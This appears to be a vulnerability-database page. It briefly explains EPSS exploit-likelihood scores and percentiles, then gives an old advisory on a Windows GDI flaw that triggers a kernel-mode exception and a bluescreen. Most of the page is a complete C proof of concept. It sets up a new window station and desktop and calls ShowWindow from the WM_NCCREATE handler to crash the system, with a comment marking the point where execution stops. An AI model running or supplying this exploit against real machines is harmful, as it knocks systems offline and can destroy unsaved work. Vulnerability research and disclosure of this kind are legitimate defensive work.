EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

source: https://www.securityfocus.com/bid/3481/info The Windows Graphics Device Interface (GDI) is a set of Application Programming Interfaces (APIs) used to display graphical output. A vulnerability exists which causes the GDI to invoke a Kernel Mode Exception due to a memory access error. This action will result in a system stop error (bluescreen). A reboot of the system will allow normal system recovery. This condition may be due to an inability of the GDI API to handle requests with malformed or invalid arguments or flags. #include <windows.h> LRESULT CALLBACK WndProc(HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam) { switch(message) { case WM_NCCREATE: { ShowWindow(hwnd, SW_SHOW); } return TRUE; } return DefWindowProc(hwnd, message, wParam, lParam); } int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR szCmdLine, int iCmdShow) { HWINSTA ws = CreateWindowStation(NULL, 0, WINSTA_CREATEDESKTOP | GENERIC_ALL, NULL); SetProcessWindowStation(ws); HDESK dt = CreateDesktop("TEST", 0, 0, 0, DESKTOP_CREATEWINDOW | GENERIC_ALL | DESKTOP_CREATEMENU | DESKTOP_SWITCHDESKTOP | DESKTOP_WRITEOBJECTS | DESKTOP_READOBJECTS, NULL); // no idea what access I actually need, I think this is just about everything SetThreadDesktop(dt); WNDCLASS wndclass = {0}; wndclass.style = CS_HREDRAW | CS_VREDRAW; wndclass.lpfnWndProc = WndProc; wndclass.hInstance = hInstance; wndclass.hIcon = LoadIcon(NULL, IDI_APPLICATION); // default icon wndclass.hCursor = LoadCursor(NULL, IDC_ARROW); // default cursor. One or other (or both?) of these seem to be necessary. wndclass.hbrBackground = (HBRUSH)GetStockObject(WHITE_BRUSH); wndclass.lpszMenuName = NULL; wndclass.lpszClassName = TEXT("Crash"); RegisterClass(&wndclass); HWND hwnd = CreateWindowEx(WS_EX_TOOLWINDOW, TEXT("Crash"), TEXT("Crash"), WS_POPUP, 300, 300, 300, 445, NULL, NULL, hInstance, NULL); // NEVER GETS HERE.
